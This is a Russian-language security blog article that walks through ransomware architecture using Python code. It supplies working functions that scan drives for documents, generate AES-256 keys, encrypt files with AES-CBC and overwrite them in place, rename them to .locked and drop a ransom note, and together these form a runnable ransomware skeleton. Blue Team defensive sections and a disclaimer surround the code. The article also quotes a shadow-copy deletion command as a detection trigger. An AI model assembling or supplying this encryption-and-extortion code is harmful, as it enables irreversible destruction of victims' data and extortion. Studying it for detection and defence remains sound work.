Шифровальщики | 20 января 2026

Анатомия цифрового вымогательства: Разбор архитектуры Ransomware на языке Python

Анатомия цифрового вымогательства: Разбор архитектуры Ransomware на языке Python

В современном ландшафте киберугроз программы-вымогатели (Ransomware) занимают лидирующую позицию по наносимому финансовому и репутационному ущербу. От атак на критическую инфраструктуру до шифрования данных малого бизнеса — механика этих зловредов остается пугающе эффективной. Для специалиста по информационной безопасности понимание того, как работает вредоносный код «под капотом», является не просто академическим интересом, а фундаментом для построения эшелонированной защиты.

В этой статье мы проведем деконструкцию логики типичного шифровальщика. Мы не будем использовать готовые сэмплы "дикого" вредоносного ПО, а вместо этого разберем концептуальный код на Python, шаг за шагом анализируя алгоритмы поиска, генерации ключей и криптографические примитивы. Наша цель — научиться мыслить как атакующий, чтобы эффективнее защищаться.


Важное юридическое и этическое предупреждение

Дисклеймер:
Эта информация предоставляется исключительно в образовательных целях для понимания логики работы шифровальщиков (ransomware) и повышения осведомлённости о киберугрозах.

Создание, распространение или использование подобного кода в вредоносных целях является уголовным преступлением и может повлечь серьёзную ответственность согласно законодательству вашей страны. Все примеры, приведенные ниже — это упрощённый псевдокод или демонстрационные функции, которые не предназначены для реального применения.

Инструкция по безопасности: Тестируйте приведенные примеры только на строго изолированных виртуальных машинах (без доступа в сеть) с тестовыми файлами, которые вы готовы потерять безвозвратно. Рекомендуется изучать такие темы исключительно в контексте defensive security (защиты), например, для разработки сигнатур антивирусов, настройки EDR-систем или анализа поведения malware.


Часть 1: Архитектура угрозы

Типичный шифровальщик — это не хаотичный набор команд, а строго структурированная программа, работающая по отлаженному алгоритму. Если отбросить методы доставки (фишинг, эксплойты RDP, уязвимости нулевого дня) и сосредоточиться на payload (полезной нагрузке), схема работы выглядит следующим образом:

  • Reconnaissance (Разведка на хосте): Рекурсивный обход файловой системы для выявления целей.
  • Key Generation (Управление ключами): Создание криптографического материала для блокировки данных.
  • Encryption Process (Шифрование): Непосредственная трансформация данных с использованием криптостойких алгоритмов.
  • Extortion (Вымогательство): Модификация имен файлов и размещение требований о выкупе.

Мы разберём каждый шаг с примерами на языке Python. Python выбран из-за его читаемости, хотя "боевые" шифровальщики чаще пишутся на C/C++, Rust или Go для скорости и сложности реверс-инжиниринга. Однако логика остается идентичной.

Для реализации криптографических функций мы будем использовать библиотеку cryptography. Это индустриальный стандарт для Python, обеспечивающий безопасную реализацию примитивов (в отличие от устаревших библиотек вроде pycrypto).

Установка необходимого инструментария:

pip install cryptography

Шаг 1: Охота за данными (Target Acquisition)

Первая задача вредоносной программы после запуска — составить список жертв. Шифровать всё подряд (например, файлы *.dll или *.exe в системных директориях) — это плохая стратегия для злоумышленника. Если операционная система перестанет загружаться, пользователь не сможет прочитать требование о выкупе и, соответственно, заплатить. Поэтому malware-разработчики внедряют логику "осторожности".

Логика обхода и фильтрации

Программа должна рекурсивно обойти все доступные диски (в Windows это обычно C:, D: и подключенные сетевые шары), отфильтровать файлы по расширениям (документы, базы данных, изображения) и строго игнорировать критические системные папки.

Ниже представлен пример реализации функции поиска целей, использующий модуль os.

import os

def find_target_files(root_paths, extensions, avoid_dirs):
    """
    Сканирует директории на наличие файлов с определенными расширениями,
    игнорируя системные папки.
    
    :param root_paths: Список корневых путей для сканирования.
    :param extensions: Кортеж с расширениями файлов для шифрования.
    :param avoid_dirs: Список папок, которые необходимо пропускать.
    :return: Список полных путей к целевым файлам.
    """
    target_files = []
    for root_path in root_paths:
        # os.walk генерирует имена файлов в дереве каталогов
        for root, dirs, files in os.walk(root_path):
            # Пропускаем системные папки (избегаем "убийства" ОС)
            # Используем dirs[:] для изменения списка "на лету", предотвращая заход в эти папки
            if any(avoid in root.lower() for avoid in avoid_dirs):
                dirs[:] = []  # Очистка списка подкаталогов прерывает рекурсию в этой ветке
                continue
            
            for file in files:
                # Фильтрация по расширению (case-insensitive)
                if file.lower().endswith(extensions):
                    target_files.append(os.path.join(root, file))
    return target_files

# Конфигурация параметров поиска
# В реальном сценарии список дисков часто определяется динамически
roots = ['C:\\', 'D:\\']  
# Список приоритетных целей: документы, фото, базы данных
exts = ('.docx', '.jpg', '.pdf', '.sql', '.xlsx', '.pptx')
# Критически важные директории ОС Windows
avoid = ['windows', 'program files', 'programdata', '$recycle.bin', 'appdata']

# Запуск поиска
files = find_target_files(roots, exts, avoid)
print(f"[LOG] Найдено файлов для обработки: {len(files)}")

Анализ с точки зрения защиты (Blue Team)

Этот этап критически важен для систем обнаружения.

  • Высокая активность файловой системы: Массовое чтение атрибутов файлов в короткий промежуток времени — это аномалия. EDR (Endpoint Detection and Response) решения отслеживают такие паттерны.
  • Использование os.walk: В учебном примере используется стандартная библиотека. В реальности злоумышленники используют API вызовы Windows (например, FindFirstFile / FindNextFile) для ускорения процесса, но суть остается той же — перебор дерева каталогов.
  • Список исключений (avoid_dirs): Наличие в коде жестко заданных списков исключений (whitelist) часто является индикатором зловредности при статическом анализе бинарного файла.

Шаг 2: Криптография и управление ключами

Сердце любого шифровальщика — это алгоритм генерации и управления ключами. Ошибка здесь может позволить вирусным аналитикам создать декриптор без уплаты выкупа.

В современной криптографии различают симметричное и асимметричное шифрование.

  • Симметричное (AES, ChaCha20): Один ключ для шифрования и расшифровки. Очень быстро работает, идеально для больших файлов.
  • Асимметричное (RSA, ECC): Пара ключей (публичный и приватный). Медленное, но позволяет безопасно передавать секреты.

В "боевых" условиях используется гибридная схема: файлы шифруются уникальным симметричным ключом (AES), а затем этот ключ шифруется публичным асимметричным ключом (RSA), зашитым в тело вируса. Без приватного ключа хакера восстановить AES-ключ невозможно.

В нашем образовательном концепте мы рассмотрим генерацию симметричного ключа (AES-256), так как это база процесса.

from cryptography.fernet import Fernet
import os

# --- Вариант 1: Высокоуровневая абстракция (Fernet) ---
# Fernet гарантирует, что данные не могут быть прочитаны или изменены без ключа.
# Он использует AES-128 в режиме CBC с HMAC для аутентификации.
key = Fernet.generate_key()  
print(f"[DEBUG] Сгенерированный ключ Fernet (Base64): {key.decode()}")

# --- Вариант 2: "Чистый" криптографический ключ для AES-256 ---
# Для AES-256 требуется ровно 32 байта случайных данных.
# os.urandom использует криптографически стойкий генератор псевдослучайных чисел (CSPRNG) ОС.
aes_key = os.urandom(32)  # 256 бит
iv_example = os.urandom(16) # Initialization Vector (об этом ниже)

print(f"[DEBUG] Raw AES Key (hex): {aes_key.hex()}")

# Сохранение ключа (СИМУЛЯЦИЯ)
# Внимание: Сохранение ключа рядом с зашифрованными файлами делает шифрование бессмысленным.
# В реальном malware этот ключ отправляется на C2 сервер или шифруется публичным ключом RSA.
with open('thekey.key', 'wb') as f:
    f.write(aes_key)

Нюансы генерации энтропии

Использование os.urandom критически важно. Если бы использовался обычный random (генератор Мерсенна), предсказать последовательность ключей было бы тривиальной задачей для специалиста, зная время запуска вируса. Это была "ахиллесова пята" ранних версий шифровальщиков.


Шаг 3: Процесс шифрования (Data Transformation)

Здесь происходит необратимое (без ключа) преобразование информации. Мы будем использовать алгоритм AES (Advanced Encryption Standard) в режиме CBC (Cipher Block Chaining).

Почему режим CBC?

Режим сцепления блоков (CBC) долгое время был стандартом. В этом режиме каждый блок открытого текста перед шифрованием XOR-ится с предыдущим зашифрованным блоком. Это скрывает паттерны в данных (например, одинаковые блоки текста не превратятся в одинаковые блоки шифротекста). Для первого блока используется Вектор Инициализации (IV).

Проблема Padding (Дополнения)

AES — блочный шифр. Он работает с блоками фиксированной длины (128 бит или 16 байт). Файлы редко имеют размер, идеально кратный 16 байтам. Поэтому необходимо использовать Padding (обычно PKCS7), чтобы дополнить последний блок до нужного размера.

Реализация на уровне примитивов библиотеки cryptography:

from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import os

def encrypt_file(file_path, key):
    """
    Шифрует файл алгоритмом AES-256 в режиме CBC.
    Файл перезаписывается зашифрованными данными.
    """
    try:
        # Генерируем уникальный IV для КАЖДОГО файла.
        # Это критически важно: использование одного IV для разных файлов с одним ключом — уязвимость.
        iv = os.urandom(16) 
        
        # Чтение исходных данных
        with open(file_path, 'rb') as f:
            data = f.read()
        
        # 1. Padding (дополнение данных)
        # Блок AES = 128 бит
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(data) + padder.finalize()
        
        # 2. Инициализация шифра
        # AES(key) + CBC(iv)
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        
        # 3. Шифрование
        encrypted_data = encryptor.update(padded_data) + encryptor.finalize()
        
        # 4. Перезапись файла
        # Структура файла: [IV (16 байт)] + [Зашифрованное тело]
        # IV не секретен, он нужен для расшифровки, поэтому пишем его в начало.
        with open(file_path, 'wb') as f:
            f.write(iv + encrypted_data)
            
        print(f"[ENCRYPTED] {file_path}")
        
    except Exception as e:
        print(f"[ERROR] Не удалось зашифровать {file_path}: {e}")

# Пример вызова (для тестов используйте ненужный файл!)
# key = os.urandom(32) 
# encrypt_file('test_document.pdf', key)

Анализ воздействия на систему

  • I/O операции: Этот процесс создает огромную нагрузку на диск. Чтение -> Шифрование в памяти -> Запись.
  • Энтропия файла: После работы этой функции энтропия (мера хаотичности данных) файла становится максимальной (близкой к 8.0). Сканеры безопасности используют это для обнаружения: если текстовый файл внезапно стал иметь высокую энтропию, это признак шифрования.
  • Уничтожение исходников: В данном коде используется перезапись (wb). Некоторые шифровальщики создают новый файл и удаляют старый, но "умные" варианты перезаписывают сектора или используют shredding (многократную перезапись), чтобы предотвратить восстановление данных через утилиты вроде Recuva.

Шаг 4: Психологическое давление (Note & Rename)

Техническая часть завершена, данные недоступны. Теперь вступает в игру социальная инженерия. Атакующему нужно уведомить жертву о произошедшем и дать инструкцию по оплате.

Два основных действия:

  • Визуальная индикация: Смена расширения файлов (например, .locked, .cry, .wnry). Это мгновенно дает пользователю понять масштаб бедствия при открытии любой папки.
  • Ransom Note (Записка о выкупе): Текстовый файл, HTML-страница или даже смена обоев рабочего стола.
def leave_ransom_note(directory):
    """
    Создает текстовый файл с требованием выкупа в указанной директории.
    """
    note_content = """
!!! ВАШИ ФАЙЛЫ ЗАШИФРОВАНЫ !!!
--------------------------------------------------
Идентификатор жертвы: UID-928310293
Алгоритм шифрования: AES-256 + RSA-2048

Чтобы восстановить данные, вам необходимо оплатить 1 BTC.
Кошелек: example_bitcoin_address_DO_NOT_SEND

ВНИМАНИЕ:
1. Не пытайтесь изменить расширения файлов.
2. Не пытайтесь использовать сторонние декрипторы — это повредит данные безвозвратно.
3. У вас есть 72 часа до удаления ключа.
--------------------------------------------------
"""
    note_path = os.path.join(directory, 'README_RECOVER_FILES.txt')
    try:
        with open(note_path, 'w', encoding='utf-8') as f:
            f.write(note_content)
    except PermissionError:
        pass # Игнорируем ошибки доступа, идем дальше

def rename_encrypted(file_path, new_ext='.locked'):
    """
    Меняет расширение зашифрованного файла.
    """
    try:
        dir_name = os.path.dirname(file_path)
        base_name = os.path.basename(file_path)
        new_name = base_name + new_ext
        new_path = os.path.join(dir_name, new_name)
        
        os.rename(file_path, new_path)
    except OSError as e:
        print(f"[ERROR] Ошибка переименования {file_path}: {e}")

# Интеграция в основной цикл (псевдокод выполнения)
# for file in files:
#     encrypt_file(file, key)
#     rename_encrypted(file, '.locked')

# Оставить записку на видном месте
# leave_ransom_note('C:\\Users\\Public\\Desktop')

Записки о выкупе — это главный канал коммуникации. В современных атаках (например, LockBit или BlackCat) в записках оставляют ссылки на TOR-сайты с чатом поддержки, где "операторы" ведут переговоры с жертвой.


Часть 2: Выводы и стратегии защиты (Defensive Security)

Разобранный выше код представляет собой "скелет" шифровальщика. Реальные APT-группировки используют куда более сложные техники: многопоточность для скорости, обфускацию кода для защиты от антивирусов, повышение привилегий и удаление теневых копий Windows (VSS). Однако логическое ядро остается неизменным: Поиск -> Ключ -> Шифрование -> Шантаж.

Как защититься? (Best Practices)

Понимание того, как работает атака, позволяет выстроить эффективную защиту:

  • Поведенческий анализ (Behavioral Analysis):
    Традиционные антивирусы (на основе сигнатур) бессильны против нового, уникального кода. Современные EDR-системы следят за поведением.
    • Триггер: Процесс пытается открыть тысячи файлов за секунду.
    • Триггер: Процесс пытается удалить теневые копии (vssadmin delete shadows).
    • Триггер: Процесс создает файлы в каждой папке (README.txt).
  • Контроль расширений и путей:
    Настройка FSRM (File Server Resource Manager) на файловых серверах позволяет блокировать запись файлов с известными расширениями шифровальщиков (.locked, .enc и т.д.) и автоматически отключать скомпрометированного пользователя.
  • Принцип наименьших привилегий:
    Если пользователь запустил этот скрипт, скрипт имеет права пользователя. Если пользователь — локальный администратор, вирус может отключить защиту. Обычный пользователь не должен иметь прав на запись в системные папки или на сетевые шары, к которым ему не нужен доступ по работе.
  • Резервное копирование (Backup 3-2-1):
    Это единственная 100% защита.
    • 3 копии данных.
    • 2 разных носителя.
    • 1 копия оффлайн (физически отключена от сети).
      Если бэкап подключен как сетевой диск, представленный выше скрипт зашифрует и его.

Заключение

Мы рассмотрели анатомию Ransomware: от рекурсивного обхода файловой системы до криптографической реализации AES-256. Этот код — наглядная демонстрация того, как базовые знания программирования и криптографии могут быть использованы в деструктивных целях.

Для специалиста по ИБ изучение подобных механизмов необходимо для настройки правил корреляции в SIEM-системах, разработки Honeyfiles (файлов-ловушек) и улучшения политик безопасности. Помните: в кибербезопасности знания атакующего — это щит защитника.

Как вам статья?

Следующий пост

Векторы вторжения и техники уклонения: Как Ransomware доставляет полезную нагрузку (Часть 2)

Анализ методов доставки и запуска Ransomware: фишинг, RDP-атаки, evasion-техники (обход AV/EDR), PowerShell-скрипты и отключение теневых копий. Руководство для Blue Team

20 января 2026